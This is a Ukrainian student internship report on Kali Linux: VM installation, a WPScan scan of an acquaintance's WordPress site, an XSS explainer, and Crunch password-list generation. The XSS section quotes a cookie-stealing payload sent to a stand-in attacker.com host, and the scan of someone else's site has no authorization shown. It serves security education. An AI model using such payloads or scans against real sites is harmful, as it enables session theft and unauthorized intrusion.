Освоєння Kali Linux. Етичний хакінг за допомогою Kali Linux. Звіт з практики з Практика. Робота № 530427

Перехід до торгівельного партнера Binance

Освоєння Kali Linux. Етичний хакінг за допомогою Kali Linux

Інформація про навчальний заклад

ВУЗ:

Національний університет Львівська політехніка

Інститут:

Не вказано

Факультет:

УІ

Кафедра:

Захист інформації

Інформація про роботу

Рік:

2024

Тип роботи:

Звіт з практики

Предмет:

Практика

Завантажити

Частина тексту файла (без зображень, графіків і формул):

МІНІСТЕРСТВО ОСВІТИ І НАУКИ УКРАЇНИ НАЦІОНАЛЬНИЙ УНІВЕРСИТЕТ «ЛЬВІВСЬКА ПОЛІТЕХНІКА» Кафедра «Захист інформації» / З В І Т З технологічної практики: На тему: «Освоєння Kali Linux. Етичний хакінг за допомогою Kali Linux» Львів – 2018 Зміст Зміст завдання 3 Теоретичні відомості 3 Розробка Kali Linux 3 Системні вимоги 4 Підтримувальні платформи 4 Особливості 4 1. Встановленя Kali Linux 5 1.1. Опис встановлення Kali Linux на віртуальну машину. 5 Налаштування віртуальної машини 5 Встановлення Kali Linux наVirtualBox 7 2. Аналіз модулів Kali Linux 10 3. Етичний хакінг за допомогою Kali Linux. 10 4. Створення словника паролів 13 Висновок: 15 Список литератури: 16 Зміст завдання Встановлення Kali Linux. Аналіз модулів Kali Linux. Етичний хакінг за допомогою Kali Linux. Створення словника паролів. Теоретичні відомості Kali Linux - це дистрибутив Debian-похідних Linux , призначений для цифрової криміналістики і тестування на проникнення. Він підтримується і фінансується Offensive Security Ltd. Маті Ахароні, Дейвон Кернс і Рафаель Хертзог - головні розробники ядра. Розробка Kali Linux Kali Linux має понад 300 встановлених програм для тестування на проникнення, у тому числі Armitage (графічний інструмент управління кібератаками), Nmap (сканер портів), Wireshark (аналізатор трафіку), John the Ripper(зломщик паролів), Aircrack-ng (набір програмного забезпечення для проникнення у бездротові локальні мережі), Burp suite і OWASP ZAP (сканер безпеки веб-додатків).[2] Kali Linux може працювати при установці на жорсткий диск комп'ютера, або завантажившись з Live CD або з USB-носія, також він може працювати у віртуальній машині. Це підтримувана платформа Metasploit Project з проекту Metasploit Framework, інструмент для розробки і виконання експлойтів. Kali Linux розроблена Маті Ахароні і Дейвоном Кернсом у Offensive Security через переписування BackTrack, їх попередні дистрибутиви тестування інформаційної безпеки були базовані на Knoppix. Третій основний розробник - Рафаель Хертзогприєднався до них, як експерт з Debian. Kali Linux ґрунтуються на тестуванні в Debian. Більшість пакетів Kali, які вона використовує, імпортовані з Debian репозиторіїв. Kali Linux розробляється з використанням безпечного середовища і з невеликим числом довірених людей, яким дозволено створювати пакети, причому кожен пакет підписується електронним цифровим підписом розробника. Калі також має власне ядро, пропатчене для підтримки ін'єкцій пакетів у бездротовий обмін у відповідності до стандартів 802.11. Це, в першу чергу, було додано, бо команда розробників зрозуміла, що їм потрібно зробити багато оцінок бездротових мереж. Системні вимоги Kali Linux потребує не менше 20 ГБ простору на жорсткому диску для установки. Мінімум 1 ГБ оперативної пам'яті для архітектур i386 та amd64. Завантажувальний CD-DVD диск або USB флешку. Підтримувальні платформи Kali Linux поширюється у вигляді 32-розрядних і 64-розрядних образів для використання у вузлах на основі системи команд архітектури x86 і як образ для архітектури ARM для використання на комп'ютерах BeagleBoard і на Samsung Chromebook. Розробники Kali Linux ставлять за мету зробити операційну систему доступною для пристроїв на ARM. Kali Linux уже доступна для BeagleBone Black, HP Chromebook, CubieBoard 2, CuBox, CuBox-i, Raspberry Pi, EfikaMX, Odroid U2, Odroid XU, Odroid XU3, Samsung Chromebook, Utilite Pro, Galaxy Note 10.1, і SS808. З приходом Калі NetHunter, Kali Linux теж офіційно доступна на смартфонах, таких як Nexus 5, Nexus 6, Nexus 7, Nexus 9, Nexus 10, OnePlus One, та деяких моделях Samsung Galaxy. Kali Linux доступний в Windows 10, поверх Windows Subsystem for Linux (WSL). Офіційний дистрибутив Kali для Windows можна завантажити з Microsoft Store. Особливості Kali Linux має спеціалізований проект, відведений для утворення сумісності та перенесення для конкретних пристроїв Android, що називається Kali Linux NetHunter. BackTrack (попередник Kali) мав у собі режим, відомий як forensic mode, який був пізніше перенесений у Kali Linux з live boot. Цей режим дуже популярний, особливо через те, що користувачі мають уже носій з завантужувальною Kali, і цей режим дозволяє легко виконувати криміналістичну роботу. При завантаженні в forensic mode, система не зачіпає внутрішній жорсткий диск і автоматичне встановлення відключене. Проте, розробники рекомендують користувачам перевірити функції перед широким використанням Kali для реальної цифрової криміналістики. Калі Linux включає в себе багато добре відомих інструментів безпеки, у тому числі: Nmap Aircrack-ng Kismet Wireshark Metasploit Framework Burp suite John the Ripper Social Engineering Toolkit Maltego Ettercap OWASP ZAP Встановленя Kali Linux Опис встановлення Kali Linux на віртуальну машину. Налаштування віртуальної машини Для початку я зайшла на офіційний сайт Kali Linux ̶ www.kali.org в розділ «Downloads» і скачала найновішу версію Kali Linux 2018.2 / Крок 1: Створення віртуальної машини Відкриваємо VirtualBox ( встановлений зараннє) і натискаємо кнопку «Створити» в контекстному меню Крок 2: Налаштування основних параметрів машини Відкриється діалогове вікно, де необхідно виконає три пункти: вибрати ім'я для образу віртуальної машини, вибрати тип операційної системи, вибрати її версію. / Крок 3: Об’єм оперативної пам’яті Тепер необхідно вказати оптимальні обсяг оперативної пам'яті, яку буде використовувати віртуальна машина в активному режимі (якщо вказати обсяг, що перевищує в два рази кількість встановленої ОЗУ, може вплинути на продуктивність). / Крок 4: Створення віртуального диска Створюємо віртуальний диск, або ж вибираємо з уже наявних. При створенні віртуального диска вказуємо його тип. Коротенько про кожного з них: VDI - власний формат диска VirtualBox використовується при створенні нової віртуальної машини; VHD - формат диска, розроблений Microsoft; VMDK - універсальний формат, який також використовує VMware. Я обрала VDI. Крок 5: Вибираємо формат зберігання. Динамічний або фіксований ( я обрала динамічний, тому що він потребує менше часу при створенні на деяких файлових системах) . Крок 6: Вибір об’єму диска / Встановлення Kali Linux наVirtualBox Крок 1: Вибір загрузочного диску / Крок 2: Вибір типу установки Я обрала «Graphical instal», бо якщо вибрати LiveCD, то всі дані, збережені на системі, видаляться після її вимкнення. Крок 3: Вибір мови встановлення Я обрала українську мову Крок 4: Назва комп’ютера / Крок 6: Налштування домена сіті Я пропустила цей пункт, оскільки немає в ньому необхідності. Крок 7: Пароль облікового запису Крок 8: Розмітка дисків Тепер належить виконати розмітку дисків. Так як установка Kali Linux відбувається на VirtualBox, то ми використовуємо весь диск. Далі відображається контекстне меню зі списком поділених розділів. В даний момент у нас є основний розділ і ext4 - журнальована файлова система. / Крок 9: Вибір дзеркала Тепер належить вибрати дзеркало для установки додаткового ПЗ. Ця функція доступна тільки в тому випадку, якщо при установці у вас є активне з'єднання з Інтернетом з'єднання. Якщо воно відсутнє, то ви завжди можете встановити додаткової ПО в самій системі. Крок 10: Встановлення Grub Далі йде установка системного завантажувача GRUB. Ми залишаємо «Так» і продовжуємо установку. Крок 11: Завершення установки / Аналіз модулів Kali Linux Етичний хакінг за допомогою Kali Linux. Етичний хакінг - це одна з форм хакінга, спрямована на виявлення вразливостей за допомогою атак і їх виправленням. Етичний хакер або білий хакер, а також на мережевому сленгу білий капелюх (від англ. White hat) - фахівець з комп'ютерної безпеки, який спеціалізується на тестуванні безпеки комп'ютерних систем. На відміну від чорних капелюхів (чорних хакерів), білі хакери шукають уразливості на добровільній основі або за плату з метою допомогти розробникам зробити їх продукт більш захищеним Виконання: Для виконання даного завдання, я провела хакерську атаку на сайт свого знайомого, щоб дізнатись, які ж уразливості в нього є і як їх можна випрвити. Для цього я використала інструмент Kali Linux “WPScan” WPScan - це сканер вразливостей WordPress, що працює за принципом «чорного ящика», т. Е. Без доступу до вихідного коду. Він може бути використаний для сканування віддалених сайтів WordPress в пошуках проблем безпеки. / WPScan зручний тим, що відразу вказує тип помилки, та, як їй запобігти. Але його також можуть викоритовувати користувачі в корисливих цілях аби дізнатись вразливості сайтів, блогів та ін., для того, щоб спланувати хакерські атаки в корисливих( не законних цілях) Отже , в очі відразу кидається перша вразливіть, яка відноситься до версії Elementor Page Builder: / Перейшовши по вказаних посиланнях я дізналась, що : Elementor Page Builder <= 1.7.12 - Необмежений редагування з підтвердженням автентичності Версії Elementor Page Builder, що містять менше 1,8, містять серйозну проблему безпеки, яка дозволяє зареєстрованим користувачам (а не тільки адміністратору) необмежений доступ до конкретних функцій базової версії Elementor. Це дозволяє необмеженому імпорту / експорту контенту та потенційно повного компромісу сайту. Сховище WordPress.org стверджує , існує понад 300 000 активних установок. Також знайдена така вразливість XSS: / Загроза агентам: кожен, хто може надсилати ненадійні дані в систему, включаючи зовнішніх користувачів, внутрішніх користувачів та адміністраторів. Вектори атаки: нападник надсилає текстові атаки, які використовують інтерпретатор у браузері. Майже будь-яке джерело даних може бути вектором нападу, включаючи внутрішні джерела, такі як дані з бази даних. Технічні наслідки: зловмисники можуть виконувати скрипти у веб-переглядачі жертви, щоб зловмисувати сеанси користувачів, деатифікувати веб-сайти, вставляти ворожий вміст, перенаправляти користувачів, викрасти браузер користувача зловмисним програмним забезпеченням тощо. Приклади сценаріїв атаки Програма використовує ненадійні дані при побудові наступного фрагмента HTML без перевірки або вилучення: (String) + = "<input name = 'creditcard' type =" TEXT "value = '' + request.getParameter (" CC ") +" ">"; Атака змінює параметр "CC" у своєму браузері, щоб: '> <script> document.location =' http://www.attacker.com/cgi-bin/cookie.cgi? foo = '+ document.cookie </ script>'. Це призводить до того, що ідентифікатор сеансу жертви надсилається на веб-сайт атакуючого, дозволяючи зловмиснику викрасти поточний сеанс користувача. Запобігання атак : 1) Запобігання XSS вимагає відокремлення ненадійних даних від активного вмісту браузера. Переважним варіантом є правильне уникнення всіх ненадійних даних на основі контексту HTML (тіла, атрибута, JavaScript, CSS або URL-адреси), до яких дані будуть розміщені 2) Позитивний або "білий список" перевірки вводу на стороні сервера також рекомендується, оскільки це допомагає захистити від XSS, але не є повним захистом, тому що багато додатків вимагають спеціальних символів у своєму вводі. Така перевірка повинна максимально перевіряти довжину, символи, формат і бізнес-правила цих даних, перш ніж приймати вхід. 3) Для багатих матеріалів розглянемо бібліотеки автосаніфікації, такі як AntiSamy OWASP або проект Java Sanitizer Java 4) Подумайте про політику безпеки вмісту (CSP) для захисту від XSS на всьому сайті. Створення словника паролів Для створення словника паролів в дистрибутиві Kali Linux є цікава утиліта, називається Crunch. Crunch - генератор словників з паролями, в яких можна визначити стандартну або задану кодування. Crunch може створити список слів зі всілякими комбінаціями і перестановками в відповідно до заданих критеріїв. Дані, які виводить crunch, можуть бути відображені на екрані, збережені в файл або передані в іншу програму. Особливості: crunch генерує списки слів (словники) як методом комбінації, так і методом перестановки він може розбити висновок за кількістю рядків або розміром файлу підтримується відновлення процесу після зупинки зразок (патерн) підтримує числа і символи зразок підтримує окремо символи верхнього і нижнього регістра працюючи з декількома файлами, виводить звіт про статус нова опція -l для буквальною підтримки, @,% ^ нова опція -d для обмеження дублювання символів, дивіться man-файл для деталей підтримка unicode Для початку запустимо утиліту за таким порядком: Ходимо в «Програми» Вибираємо «Password Attscs» Вибираємо «crunch» Синтаксис її досить простий: / Тут згенеровано словник від 4 до 4 символів, в паролі цифри та вказані букви і заллються вони у зовнішній файл, що я вказала. Залишається тільки скористатися отриманим словником. Можна проаналізувати, що у нас утворилось 4096 різноманітних паролів. Ось так виглядає частина списоку паролів створеного за допомогою Crunch: 1twy 1te1 1te2 1tey 1tr1 1tr2 1trq 2wry 2wt1 2wt2 2wtq 2wtw 2wte 2wtr 2wtt 2wty 2wy1 2wy2 2wyq 2wyw 2wye 2wyr 2wyt 2wyy 2e11 Висновок: Під час виконання завдань з технологічної прктики, я мала можливість попрацювати з Kali Linux. Я дізналась, як можна створювати списки паролів. Також, довідалась, що таке етичний хакінг та як за його допопогою можна дізнатись про вразливості різних систем. Також під час вивченння етичного хакінгу, я знайшла деякі недоліки побудови та захисту сайту. Довідалась, як зловмисник може атакувати цей сайт. Список литератури: Types of Cross-Site Scripting OWASP XSS Prevention Cheat Sheet OWASP DOM based XSS Prevention Cheat Sheet http://seclists.org https://uk.wikipedia.org https://kali.tools https://www.owasp.org https://cve.mitre.org https://wpvulndb.com https://www.kali.org https://www.youtube.com

Звіт з практики Практика

Galinaka

12.10.2018 14:10-

Коментарі

Ви не можете залишити коментар. Для цього, будь ласка, або зареєструйтесь.

Ділись своїми роботами та отримуй миттєві бонуси!

Маєш корисні навчальні матеріали, які припадають пилом на твоєму комп'ютері? Розрахункові, лабораторні, практичні чи контрольні роботи — завантажуй їх прямо зараз і одразу отримуй бали на свій рахунок! Заархівуй всі файли в один .zip (до 100 МБ) або завантажуй кожен файл окремо. Внесок у спільноту – це легкий спосіб допомогти іншим та отримати додаткові можливості на сайті. Твої старі роботи можуть приносити тобі нові нагороди!

поділитись